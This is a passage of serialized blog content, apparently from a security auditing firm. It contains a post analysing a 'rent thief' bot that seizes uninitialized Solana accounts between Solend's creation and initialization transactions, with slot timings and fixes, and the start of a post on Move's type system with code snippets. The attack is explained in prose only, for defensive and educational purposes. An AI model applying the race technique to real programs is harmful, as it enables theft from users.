ecosystem.",{"type":24,"tag":10448,"props":12935,"children":12936},{},[12937],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":12939},[12940,12941,12942,12943],{"id":10534,"depth":367,"text":10537},{"id":11517,"depth":367,"text":11520},{"id":11797,"depth":367,"text":11800},{"id":12878,"depth":367,"text":12881},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":12948,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":12949,"description":12950,"image":12951,"date":12955,"isFeatured":16,"onBlogPage":16,"tags":12956,"body":12957,"_type":10481,"_id":13281,"_source":10483,"_file":13282,"_stem":13283,"_extension":10486},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":12952,"width":12953,"height":12954},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[18,19],{"type":21,"children":12958,"toc":13274},[12959,12964,12970,12975,12980,12985,12991,13004,13051,13082,13091,13096,13101,13106,13112,13125,13141,13146,13151,13166,13170,13175,13190,13197,13202,13212,13219,13223,13228,13234,13239,13244,13249,13255,13260],{"type":24,"tag":25,"props":12960,"children":12961},{},[12962],{"type":29,"value":12963},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":228,"props":12965,"children":12967},{"id":12966},"background",[12968],{"type":29,"value":12969},"Background",{"type":24,"tag":25,"props":12971,"children":12972},{},[12973],{"type":29,"value":12974},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":25,"props":12976,"children":12977},{},[12978],{"type":29,"value":12979},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":25,"props":12981,"children":12982},{},[12983],{"type":29,"value":12984},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":228,"props":12986,"children":12988},{"id":12987},"the-exploit",[12989],{"type":29,"value":12990},"The Exploit",{"type":24,"tag":25,"props":12992,"children":12993},{},[12994,12996,13002],{"type":29,"value":12995},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":284,"props":12997,"children":12999},{"className":12998},[],[13000],{"type":29,"value":13001},"init_reserve",{"type":29,"value":13003}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":175,"props":13005,"children":13006},{},[13007,13012,13017,13022,13033,13038],{"type":24,"tag":179,"props":13008,"children":13009},{},[13010],{"type":29,"value":13011},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":179,"props":13013,"children":13014},{},[13015],{"type":29,"value":13016},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":179,"props":13018,"children":13019},{},[13020],{"type":29,"value":13021},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":179,"props":13023,"children":13024},{},[13025,13027],{"type":29,"value":13026},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":284,"props":13028,"children":13030},{"className":13029},[],[13031],{"type":29,"value":13032},"cTokens",{"type":24,"tag":179,"props":13034,"children":13035},{},[13036],{"type":29,"value":13037},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":179,"props":13039,"children":13040},{},[13041,13043,13049],{"type":29,"value":13042},"creator collateral token account - creator's ",{"type":24,"tag":284,"props":13044,"children":13046},{"className":13045},[],[13047],{"type":29,"value":13048},"cToken",{"type":29,"value":13050}," account",{"type":24,"tag":25,"props":13052,"children":13053},{},[13054,13056,13061,13063,13068,13070,13075,13077],{"type":29,"value":13055},"Account creation and initialization are ",{"type":24,"tag":42,"props":13057,"children":13058},{},[13059],{"type":29,"value":13060},"usually",{"type":29,"value":13062}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":284,"props":13064,"children":13066},{"className":13065},[],[13067],{"type":29,"value":13001},{"type":29,"value":13069}," is ",{"type":24,"tag":42,"props":13071,"children":13072},{},[13073],{"type":29,"value":13074},"supposed",{"type":29,"value":13076}," to look like:\n",{"type":24,"tag":11511,"props":13078,"children":13081},{"src":13079,"alt":13080},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":25,"props":13083,"children":13084},{},[13085,13087],{"type":29,"value":13086},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":11511,"props":13088,"children":13090},{"src":13089,"alt":13080},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":25,"props":13092,"children":13093},{},[13094],{"type":29,"value":13095},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":25,"props":13097,"children":13098},{},[13099],{"type":29,"value":13100},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":25,"props":13102,"children":13103},{},[13104],{"type":29,"value":13105},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":228,"props":13107,"children":13109},{"id":13108},"example",[13110],{"type":29,"value":13111},"Example",{"type":24,"tag":25,"props":13113,"children":13114},{},[13115,13117,13124],{"type":29,"value":13116},"Let's take a look at ",{"type":24,"tag":57,"props":13118,"children":13121},{"href":13119,"rel":13120},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[61],[13122],{"type":29,"value":13123},"a real attack",{"type":29,"value":66},{"type":24,"tag":25,"props":13126,"children":13127},{},[13128,13135,13137],{"type":24,"tag":57,"props":13129,"children":13132},{"href":13130,"rel":13131},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[61],[13133],{"type":29,"value":13134},"Transaction 1",{"type":29,"value":13136},":\n",{"type":24,"tag":11511,"props":13138,"children":13140},{"alt":7,"src":13139},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":25,"props":13142,"children":13143},{},[13144],{"type":29,"value":13145},"(...more accounts truncated)",{"type":24,"tag":25,"props":13147,"children":13148},{},[13149],{"type":29,"value":13150},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":25,"props":13152,"children":13153},{},[13154,13161,13162],{"type":24,"tag":57,"props":13155,"children":13158},{"href":13156,"rel":13157},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[61],[13159],{"type":29,"value":13160},"Attacker's Transaction",{"type":29,"value":13136},{"type":24,"tag":11511,"props":13163,"children":13165},{"alt":7,"src":13164},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":25,"props":13167,"children":13168},{},[13169],{"type":29,"value":13145},{"type":24,"tag":25,"props":13171,"children":13172},{},[13173],{"type":29,"value":13174},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":25,"props":13176,"children":13177},{},[13178,13185,13186],{"type":24,"tag":57,"props":13179,"children":13182},{"href":13180,"rel":13181},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[61],[13183],{"type":29,"value":13184},"Transaction 2",{"type":29,"value":13136},{"type":24,"tag":11511,"props":13187,"children":13189},{"alt":7,"src":13188},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":25,"props":13191,"children":13192},{},[13193],{"type":24,"tag":11511,"props":13194,"children":13196},{"alt":7,"src":13195},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":25,"props":13198,"children":13199},{},[13200],{"type":29,"value":13201},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":25,"props":13203,"children":13204},{},[13205,13211],{"type":24,"tag":57,"props":13206,"children":13209},{"href":13207,"rel":13208},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[61],[13210],{"type":29,"value":13160},{"type":29,"value":1636},{"type":24,"tag":25,"props":13213,"children":13214},{},[13215],{"type":24,"tag":11511,"props":13216,"children":13218},{"alt":7,"src":13217},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":25,"props":13220,"children":13221},{},[13222],{"type":29,"value":13145},{"type":24,"tag":25,"props":13224,"children":13225},{},[13226],{"type":29,"value":13227},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":228,"props":13229,"children":13231},{"id":13230},"impact",[13232],{"type":29,"value":13233},"Impact",{"type":24,"tag":25,"props":13235,"children":13236},{},[13237],{"type":29,"value":13238},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":25,"props":13240,"children":13241},{},[13242],{"type":29,"value":13243},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":25,"props":13245,"children":13246},{},[13247],{"type":29,"value":13248},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":228,"props":13250,"children":13252},{"id":13251},"solution",[13253],{"type":29,"value":13254},"Solution",{"type":24,"tag":25,"props":13256,"children":13257},{},[13258],{"type":29,"value":13259},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":24,"tag":25,"props":13261,"children":13262},{},[13263,13265,13272],{"type":29,"value":13264},"As a more permenant solution, Solend implemented ",{"type":24,"tag":57,"props":13266,"children":13269},{"href":13267,"rel":13268},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[61],[13270],{"type":29,"value":13271},"an onchain program",{"type":29,"value":13273}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":367,"depth":367,"links":13275},[13276,13277,13278,13279,13280],{"id":12966,"depth":367,"text":12969},{"id":12987,"depth":367,"text":12990},{"id":13108,"depth":367,"text":13111},{"id":13230,"depth":367,"text":13233},{"id":13251,"depth":367,"text":13254},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":13285,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13286,"description":13287,"author":13288,"image":13289,"date":13293,"isFeatured":16,"onBlogPage":16,"body":13294,"_type":10481,"_id":16809,"_source":10483,"_file":16810,"_stem":16811,"_extension":10486},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":13290,"height":13291,"width":13292},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":21,"children":13295,"toc":16804},[13296,13301,13306,13325,13331,13343,13440,13448,13567,13575,13597,13749,13754,14012,14034,14069,14074,14094,14099,14110,14122,14332,14344,14358,14371,14627,14639,14859,14864,14892,15038,15057,15062,15326,15338,15343,15356,15362,15367,15372,15384,15398,15403,15501,15513,15526,15799,15804,15816,15821,15875,15895,15900,16773,16777,16782,16787,16800],{"type":24,"tag":25,"props":13297,"children":13298},{},[13299],{"type":29,"value":13300},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":25,"props":13302,"children":13303},{},[13304],{"type":29,"value":13305},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":25,"props":13307,"children":13308},{},[13309,13311,13316,13318,13323],{"type":29,"value":13310},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":42,"props":13312,"children":13313},{},[13314],{"type":29,"value":13315},"how",{"type":29,"value":13317}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":42,"props":13319,"children":13320},{},[13321],{"type":29,"value":13322},"structurally",{"type":29,"value":13324}," safer programs.",{"type":24,"tag":228,"props":13326,"children":13328},{"id":13327},"types",[13329],{"type":29,"value":13330},"Types",{"type":24,"tag":25,"props":13332,"children":13333},{},[13334,13336,13342],{"type":29,"value":13335},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":24,"tag":284,"props":13337,"children":13339},{"className":13338},[],[13340],{"type":29,"value":13341},"coin.move",{"type":29,"value":66},{"type":24,"tag":317,"props":13344,"children":13346},{"className":1553,"code":13345,"language":1552,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[13347],{"type":24,"tag":284,"props":13348,"children":13349},{"__ignoreMap":7},[13350,13358,13404,13412,13432],{"type":24,"tag":327,"props":13351,"children":13352},{"class":329,"line":330},[13353],{"type":24,"tag":327,"props":13354,"children":13355},{"style":551},[13356],{"type":29,"value":13357},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":327,"props":13359,"children":13360},{"class":329,"line":367},[13361,13366,13371,13375,13380,13385,13390,13395,13400],{"type":24,"tag":327,"props":13362,"children":13363},{"style":334},[13364],{"type":29,"value":13365},"  struct",{"type":24,"tag":327,"props":13367,"children":13368},{"style":1639},[13369],{"type":29,"value":13370}," Coin",{"type":24,"tag":327,"props":13372,"children":13373},{"style":346},[13374],{"type":29,"value":1596},{"type":24,"tag":327,"props":13376,"children":13377},{"style":356},[13378],{"type":29,"value":13379},"phantom",{"type":24,"tag":327,"props":13381,"children":13382},{"style":1639},[13383],{"type":29,"value":13384}," CoinType",{"type":24,"tag":327,"props":13386,"children":13387},{"style":346},[13388],{"type":29,"value":13389},"> ",{"type":24,"tag":327,"props":13391,"children":13392},{"style":356},[13393],{"type":29,"value":13394},"has",{"type":24,"tag":327,"props":13396,"children":13397},{"style":356},[13398],{"type":29,"value":13399}," store",{"type":24,"tag":327,"props":13401,"children":13402},{"style":346},[13403],{"type":29,"value":497},{"type":24,"tag":327,"props":13405,"children":13406},{"class":329,"line":408},[13407],{"type":24,"tag":327,"props":13408,"children":13409},{"style":551},[13410],{"type":29,"value":13411},"      /// Amount of coin this address has.\n",{"type":24,"tag":327,"props":13413,"children":13414},{"class":329,"line":421},[13415,13420,13424,13428],{"type":24,"tag":327,"props":13416,"children":13417},{"style":356},[13418],{"type":29,"value":13419},"      value",{"type":24,"tag":327,"props":13421,"children":13422},{"style":381},[13423],{"type":29,"value":1636},{"type":24,"tag":327,"props":13425,"children":13426},{"style":1639},[13427],{"type":29,"value":1669},{"type":24,"tag":327,"props":13429,"children":13430},{"style":346},[13431],{"type":29,"value":2231},{"type":24,"tag":327,"props":13433,"children":13434},{"class":329,"line":450},[13435],{"type":24,"tag":327,"props":13436,"children":13437},{"style":346},[13438],{"type":29,"value":13439},"  }\n",{"type":24,"tag":25,"props":13441,"children":13442},{},[13443],{"type":24,"tag":42,"props":13444,"children":13445},{},[13446],{"type":29,"value":13447},"aptos",{"type":24,"tag":317,"props":13449,"children":13451},{"className":1553,"code":13450,"language":1552,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[13452],{"type":24,"tag":284,"props":13453,"children":13454},{"__ignoreMap":7},[13455,13463,13513,13530,13560],{"type":24,"tag":327,"props":13456,"children":13457},{"class":329,"line":330},[13458],{"type":24,"tag":327,"props":13459,"children":13460},{"style":551},[13461],{"type":29,"value":13462},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":327,"props":13464,"children":13465},{"class":329,"line":367},[13466,13470,13474,13478,13482,13487,13491,13495,13500,13504,13509],{"type":24,"tag":327,"props":13467,"children":13468},{"style":334},[13469],{"type":29,"value":13365},{"type":24,"tag":327,"props":13471,"children":13472},{"style":1639},[13473],{"type":29,"value":13370},{"type":24,"tag":327,"props":13475,"children":13476},{"style":346},[13477],{"type":29,"value":1596},{"type":24,"tag":327,"props":13479,"children":13480},{"style":356},[13481],{"type":29,"value":13379},{"type":24,"tag":327,"props":13483,"children":13484},{"style":1639},[13485],{"type":29,"value":13486}," T",{"type":24,"tag":327,"props":13488,"children":13489},{"style":346},[13490],{"type":29,"value":13389},{"type":24,"tag":327,"props":13492,"children":13493},{"style":356},[13494],{"type":29,"value":13394},{"type":24,"tag":327,"props":13496,"children":13497},{"style":356},[13498],{"type":29,"value":13499}," key",{"type":24,"tag":327,"props":13501,"children":13502},{"style":346},[13503],{"type":29,"value":2744},{"type":24,"tag":327,"props":13505,"children":13506},{"style":356},[13507],{"type":29,"value":13508},"store",{"type":24,"tag":327,"props":13510,"children":13511},{"style":346},[13512],{"type":29,"value":497},{"type":24,"tag":327,"props":13514,"children":13515},{"class":329,"line":408},[13516,13521,13525],{"type":24,"tag":327,"props":13517,"children":13518},{"style":356},[13519],{"type":29,"value":13520},"      id",{"type":24,"tag":327,"props":13522,"children":13523},{"style":381},[13524],{"type":29,"value":1636},{"type":24,"tag":327,"props":13526,"children":13527},{"style":346},[13528],{"type":29,"value":13529}," UID,\n",{"type":24,"tag":327,"props":13531,"children":13532},{"class":329,"line":421},[13533,13538,13542,13547,13551,13556],{"type":24,"tag":327,"props":13534,"children":13535},{"style":356},[13536],{"type":29,"value":13537},"      balance",{"type":24,"tag":327,"props":13539,"children":13540},{"style":381},[13541],{"type":29,"value":1636},{"type":24,"tag":327,"props":13543,"children":13544},{"style":1639},[13545],{"type":29,"value":13546}," Balance",{"type":24,"tag":327,"props":13548,"children":13549},{"style":346},[13550],{"type":29,"value":1596},{"type":24,"tag":327,"props":13552,"children":13553},{"style":1639},[13554],{"type":29,"value":13555},"T",{"type":24,"tag":327,"props":13557,"children":13558},{"style":346},[13559],{"type":29,"value":9571},{"type":24,"tag":327,"props":13561,"children":13562},{"class":329,"line":450},[13563],{"type":24,"tag":327,"props":13564,"children":13565},{"style":346},[13566],{"type":29,"value":13439},{"type":24,"tag":25,"props":13568,"children":13569},{},[13570],{"type":24,"tag":42,"props":13571,"children":13572},{},[13573],{"type":29,"value":13574},"sui",{"type":24,"tag":25,"props":13576,"children":13577},{},[13578,13580,13587,13589,13595],{"type":29,"value":13579},"Pulling an example from ",{"type":24,"tag":57,"props":13581,"children":13584},{"href":13582,"rel":13583},"https://pontem.network/",[61],[13585],{"type":29,"value":13586},"Pontem Network's",{"type":29,"value":13588}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":284,"props":13590,"children":13592},{"className":13591},[],[13593],{"type":29,"value":13594},"LiquidityPool",{"type":29,"value":13596}," natively embeds this type information into it's fields.",{"type":24,"tag":317,"props":13598,"children":13600},{"className":1553,"code":13599,"language":1552,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[13601],{"type":24,"tag":284,"props":13602,"children":13603},{"__ignoreMap":7},[13604,13612,13676,13705,13734,13742],{"type":24,"tag":327,"props":13605,"children":13606},{"class":329,"line":330},[13607],{"type":24,"tag":327,"props":13608,"children":13609},{"style":551},[13610],{"type":29,"value":13611},"    /// Liquidity pool with reserves.\n",{"type":24,"tag":327,"props":13613,"children":13614},{"class":329,"line":367},[13615,13620,13625,13629,13633,13638,13642,13646,13651,13655,13659,13664,13668,13672],{"type":24,"tag":327,"props":13616,"children":13617},{"style":334},[13618],{"type":29,"value":13619},"    struct",{"type":24,"tag":327,"props":13621,"children":13622},{"style":1639},[13623],{"type":29,"value":13624}," LiquidityPool",{"type":24,"tag":327,"props":13626,"children":13627},{"style":346},[13628],{"type":29,"value":1596},{"type":24,"tag":327,"props":13630,"children":13631},{"style":356},[13632],{"type":29,"value":13379},{"type":24,"tag":327,"props":13634,"children":13635},{"style":1639},[13636],{"type":29,"value":13637}," X",{"type":24,"tag":327,"props":13639,"children":13640},{"style":346},[13641],{"type":29,"value":2744},{"type":24,"tag":327,"props":13643,"children":13644},{"style":356},[13645],{"type":29,"value":13379},{"type":24,"tag":327,"props":13647,"children":13648},{"style":1639},[13649],{"type":29,"value":13650}," Y",{"type":24,"tag":327,"props":13652,"children":13653},{"style":346},[13654],{"type":29,"value":2744},{"type":24,"tag":327,"props":13656,"children":13657},{"style":356},[13658],{"type":29,"value":13379},{"type":24,"tag":327,"props":13660,"children":13661},{"style":346},[13662],{"type":29,"value":13663}," LP> ",{"type":24,"tag":327,"props":13665,"children":13666},{"style":356},[13667],{"type":29,"value":13394},{"type":24,"tag":327,"props":13669,"children":13670},{"style":356},[13671],{"type":29,"value":13499},{"type":24,"tag":327,"props":13673,"children":13674},{"style":346},[13675],{"type":29,"value":497},{"type":24,"tag":327,"props":13677,"children":13678},{"class":329,"line":408},[13679,13684,13688,13692,13696,13701],{"type":24,"tag":327,"props":13680,"children":13681},{"style":356},[13682],{"type":29,"value":13683},"        coin_x_reserve",{"type":24,"tag":327,"props":13685,"children":13686},{"style":381},[13687],{"type":29,"value":1636},{"type":24,"tag":327,"props":13689,"children":13690},{"style":1639},[13691],{"type":29,"value":13370},{"type":24,"tag":327,"props":13693,"children":13694},{"style":346},[13695],{"type":29,"value":1596},{"type":24,"tag":327,"props":13697,"children":13698},{"style":1639},[13699],{"type":29,"value":13700},"X",{"type":24,"tag":327,"props":13702,"children":13703},{"style":346},[13704],{"type":29,"value":4529},{"type":24,"tag":327,"props":13706,"children":13707},{"class":329,"line":421},[13708,13713,13717,13721,13725,13730],{"type":24,"tag":327,"props":13709,"children":13710},{"style":356},[13711],{"type":29,"value":13712},"        coin_y_reserve",{"type":24,"tag":327,"props":13714,"children":13715},{"style":381},[13716],{"type":29,"value":1636},{"type":24,"tag":327,"props":13718,"children":13719},{"style":1639},[13720],{"type":29,"value":13370},{"type":24,"tag":327,"props":13722,"children":13723},{"style":346},[13724],{"type":29,"value":1596},{"type":24,"tag":327,"props":13726,"children":13727},{"style":1639},[13728],{"type":29,"value":13729},"Y",{"type":24,"tag":327,"props":13731,"children":13732},{"style":346},[13733],{"type":29,"value":4529},{"type":24,"tag":327,"props":13735,"children":13736},{"class":329,"line":450},[13737],{"type":24,"tag":327,"props":13738,"children":13739},{"style":551},[13740],{"type":29,"value":13741},"        // ...\n",{"type":24,"tag":327,"props":13743,"children":13744},{"class":329,"line":481},[13745],{"type":24,"tag":327,"props":13746,"children":13747},{"style":346},[13748],{"type":29,"value":535},{"type":24,"tag":25,"props":13750,"children":13751},{},[13752],{"type":29,"value":13753},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":317,"props":13755,"children":13757},{"className":1553,"code":13756,"language":1552,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[13758],{"type":24,"tag":284,"props":13759,"children":13760},{"__ignoreMap":7},[13761,13800,13821,13849,13877,13928,13936,13943],{"type":24,"tag":327,"props":13762,"children":13763},{"class":329,"line":330},[13764,13769,13774,13779,13783,13787,13791,13795],{"type":24,"tag":327,"props":13765,"children":13766},{"style":356},[13767],{"type":29,"value":13768},"      public",{"type":24,"tag":327,"props":13770,"children":13771},{"style":356},[13772],{"type":29,"value":13773}," fun",{"type":24,"tag":327,"props":13775,"children":13776},{"style":356},[13777],{"type":29,"value":13778}," mint",{"type":24,"tag":327,"props":13780,"children":13781},{"style":346},[13782],{"type":29,"value":1596},{"type":24,"tag":327,"props":13784,"children":13785},{"style":1639},[13786],{"type":29,"value":13700},{"type":24,"tag":327,"props":13788,"children":13789},{"style":346},[13790],{"type":29,"value":2744},{"type":24,"tag":327,"props":13792,"children":13793},{"style":1639},[13794],{"type":29,"value":13729},{"type":24,"tag":327,"props":13796,"children":13797},{"style":346},[13798],{"type":29,"value":13799},", LP>(\n",{"type":24,"tag":327,"props":13801,"children":13802},{"class":329,"line":367},[13803,13808,13812,13817],{"type":24,"tag":327,"props":13804,"children":13805},{"style":356},[13806],{"type":29,"value":13807},"          pool_addr",{"type":24,"tag":327,"props":13809,"children":13810},{"style":381},[13811],{"type":29,"value":1636},{"type":24,"tag":327,"props":13813,"children":13814},{"style":356},[13815],{"type":29,"value":13816}," address",{"type":24,"tag":327,"props":13818,"children":13819},{"style":346},[13820],{"type":29,"value":2231},{"type":24,"tag":327,"props":13822,"children":13823},{"class":329,"line":408},[13824,13829,13833,13837,13841,13845],{"type":24,"tag":327,"props":13825,"children":13826},{"style":356},[13827],{"type":29,"value":13828},"          coin_x",{"type":24,"tag":327,"props":13830,"children":13831},{"style":381},[13832],{"type":29,"value":1636},{"type":24,"tag":327,"props":13834,"children":13835},{"style":1639},[13836],{"type":29,"value":13370},{"type":24,"tag":327,"props":13838,"children":13839},{"style":346},[13840],{"type":29,"value":1596},{"type":24,"tag":327,"props":13842,"children":13843},{"style":1639},[13844],{"type":29,"value":13700},{"type":24,"tag":327,"props":13846,"children":13847},{"style":346},[13848],{"type":29,"value":4529},{"type":24,"tag":327,"props":13850,"children":13851},{"class":329,"line":421},[13852,13857,13861,13865,13869,13873],{"type":24,"tag":327,"props":13853,"children":13854},{"style":356},[13855],{"type":29,"value":13856},"          coin_y",{"type":24,"tag":327,"props":13858,"children":13859},{"style":381},[13860],{"type":29,"value":1636},{"type":24,"tag":327,"props":13862,"children":13863},{"style":1639},[13864],{"type":29,"value":13370},{"type":24,"tag":327,"props":13866,"children":13867},{"style":346},[13868],{"type":29,"value":1596},{"type":24,"tag":327,"props":13870,"children":13871},{"style":1639},[13872],{"type":29,"value":13729},{"type":24,"tag":327,"props":13874,"children":13875},{"style":346},[13876],{"type":29,"value":9571},{"type":24,"tag":327,"props":13878,"children":13879},{"class":329,"line":450},[13880,13885,13889,13893,13897,13902,13906,13911,13915,13919,13924],{"type":24,"tag":327,"props":13881,"children":13882},{"style":346},[13883],{"type":29,"value":13884},"      )",{"type":24,"tag":327,"props":13886,"children":13887},{"style":381},[13888],{"type":29,"value":1636},{"type":24,"tag":327,"props":13890,"children":13891},{"style":1639},[13892],{"type":29,"value":13370},{"type":24,"tag":327,"props":13894,"children":13895},{"style":346},[13896],{"type":29,"value":1596},{"type":24,"tag":327,"props":13898,"children":13899},{"style":1639},[13900],{"type":29,"value":13901},"LP",{"type":24,"tag":327,"props":13903,"children":13904},{"style":346},[13905],{"type":29,"value":13389},{"type":24,"tag":327,"props":13907,"children":13908},{"style":356},[13909],{"type":29,"value":13910},"acquires",{"type":24,"tag":327,"props":13912,"children":13913},{"style":1639},[13914],{"type":29,"value":13624},{"type":24,"tag":327,"props":13916,"children":13917},{"style":346},[13918],{"type":29,"value":2744},{"type":24,"tag":327,"props":13920,"children":13921},{"style":1639},[13922],{"type":29,"value":13923},"EventsStore",{"type":24,"tag":327,"props":13925,"children":13926},{"style":346},[13927],{"type":29,"value":497},{"type":24,"tag":327,"props":13929,"children":13930},{"class":329,"line":481},[13931],{"type":24,"tag":327,"props":13932,"children":13933},{"style":551},[13934],{"type":29,"value":13935},"          // ...\n",{"type":24,"tag":327,"props":13937,"children":13938},{"class":329,"line":500},[13939],{"type":24,"tag":327,"props":13940,"children":13941},{"emptyLinePlaceholder":16},[13942],{"type":29,"value":544},{"type":24,"tag":327,"props":13944,"children":13945},{"class":329,"line":529},[13946,13951,13955,13960,13964,13969,13973,13977,13982,13986,13990,13994,13998,14003,14008],{"type":24,"tag":327,"props":13947,"children":13948},{"style":334},[13949],{"type":29,"value":13950},"          